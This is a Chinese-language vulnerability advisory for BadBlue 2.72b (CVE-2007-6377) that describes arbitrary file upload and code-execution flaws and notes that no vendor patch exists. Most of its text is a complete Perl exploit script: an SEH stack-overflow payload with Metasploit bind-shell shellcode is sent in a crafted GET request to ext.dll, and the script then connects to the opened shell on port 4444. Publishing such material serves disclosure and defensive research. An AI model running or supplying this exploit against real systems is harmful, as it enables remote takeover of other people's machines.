发布日期：2007-12-10
更新日期：2008-12-19

受影响系统：

BadBlue BadBlue 2.72b

描述：

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BUGTRAQ  ID: 26803
CVE ID: CVE-2007-6377

BadBlue是一款集合Web/P2P服务程序，支持CGI、ISAPI。自带的ISAPI模块提供HTML嵌入动态WEB页面语言。

BadBlue在实现上存在安全漏洞，攻击者可利用这些漏洞上传目标文件夹之外的任意文件、执行任意代码或使受影响应用崩溃。

<*来源：Luigi Auriemma （aluigi@pivx.com）
  
  链接：http://osvdb.org/show/osvdb/42416
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Luigi Auriemma （aluigi@pivx.com）提供了如下测试方法：

#!/usr/bin/perl -w
# http://aluigi.altervista.org/adv/badblue-adv.txt
# http://www.securityfocus.com/bid/26803
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6379
# exploit for stack overflow in badblue 2.72
#
#  Credit to Luigi Auriemma
#  Jacopo Cervini acaro@jervus.it
#  22/12/2007  
#
#  
#

use IO::Socket;

if(!($ARGV[1]))
{
print "Usage: badblue-272-seh.pl <victim> <port>\n\n";
exit;
}

# metasploit win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum

my $shellcode  =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e".
"\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x38".
"\x4e\x46\x46\x52\x46\x42\x4b\x48\x45\x34\x4e\x53\x4b\x48\x4e\x57".
"\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x48".
"\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x48".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c".
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x45\x46\x32\x4a\x52\x45\x37\x45\x4e\x4b\x38".
"\x4f\x35\x46\x52\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54".
"\x4b\x58\x4f\x45\x4e\x31\x41\x50\x4b\x4e\x43\x50\x4e\x42\x4b\x38".
"\x49\x58\x4e\x46\x46\x52\x4e\x31\x41\x46\x43\x4c\x41\x53\x4b\x4d".
"\x46\x56\x4b\x58\x43\x44\x42\x33\x4b\x48\x42\x54\x4e\x30\x4b\x38".
"\x42\x57\x4e\x51\x4d\x4a\x4b\x58\x42\x54\x4a\x50\x50\x45\x4a\x46".
"\x50\x48\x50\x34\x50\x30\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x56".
"\x43\x35\x48\x46\x4a\x56\x43\x43\x44\x43\x4a\x36\x47\x47\x43\x57".
"\x44\x33\x4f\x45\x46\x45\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e".
"\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x55\x49\x38\x45\x4e".
"\x48\x36\x41\x58\x4d\x4e\x4a\x30\x44\x30\x45\x55\x4c\x36\x44\x50".
"\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55".
"\x4f\x4f\x48\x4d\x43\x45\x43\x55\x43\x45\x43\x35\x43\x55\x43\x34".
"\x43\x45\x43\x44\x43\x45\x4f\x4f\x42\x4d\x48\x36\x4a\x56\x41\x51".
"\x4e\x35\x48\x46\x43\x35\x49\x38\x41\x4e\x45\x39\x4a\x46\x46\x4a".
"\x4c\x51\x42\x37\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x36\x42\x51".
"\x41\x35\x45\x55\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x42".
"\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x35\x45\x55\x4f\x4f\x42\x4d".
"\x4a\x46\x45\x4e\x49\x44\x48\x48\x49\x34\x47\x55\x4f\x4f\x48\x4d".
"\x42\x35\x46\x35\x46\x35\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x56".
"\x47\x4e\x49\x57\x48\x4c\x49\x47\x47\x55\x4f\x4f\x48\x4d\x45\x45".
"\x4f\x4f\x42\x4d\x48\x56\x4c\x56\x46\x56\x48\x56\x4a\x46\x43\x46".
"\x4d\x46\x49\x38\x45\x4e\x4c\x46\x42\x55\x49\x55\x49\x32\x4e\x4c".
"\x49\x38\x47\x4e\x4c\x36\x46\x34\x49\x58\x44\x4e\x41\x33\x42\x4c".
"\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x52\x50\x4f\x44\x34\x4e\x42".
"\x43\x59\x4d\x58\x4c\x57\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56".
"\x44\x37\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x47\x46\x44\x4f\x4f".
"\x48\x4d\x4b\x35\x47\x45\x44\x55\x41\x55\x41\x55\x41\x55\x4c\x56".
"\x41\x50\x41\x45\x41\x35\x45\x45\x41\x55\x4f\x4f\x42\x4d\x4a\x56".
"\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46".
"\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x58\x47\x55\x4e\x4f".
"\x43\x38\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d".
"\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x35\x43\x55\x4f\x4f\x48\x4d".
"\x4f\x4f\x42\x4d\x5a";

$victim = IO::Socket::INET->new(Proto=>'tcp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                            or die "can't connect to $ARGV[0] on port $ARGV[1]";
$pad0 = "\x41"x407;
$pad = "\x41"x3000;
$seh = "\xb6\x34\x03\x10"; # pop ebx pop ecx ret in ext.dll
$jmp = "\x90\x90\xeb\x08";
$longjmp = "\xe9\x6e\xf1\xff\xff";
$pad1 = "\x43"x8;
$pad2 = "\x43"x59;



$exploit = "GET /ext.dll?mfcisapicommand=PassThru&". $pad0 . $shellcode . $pad . $jmp . $seh . $pad1 .$longjmp . $pad2. "HTTP/1.0"."\r\n\r\n";



print $victim $exploit;

print " + Malicious GET request sent ...\n";

sleep(1);

print "Done.\n";

close($victim);

$host = $ARGV[0];
print " + Connect on port 4444 of $host ...\n";
sleep(2);
system("telnet $host 4444");
exit;

建议：

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厂商补丁：

BadBlue
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.badblue.com

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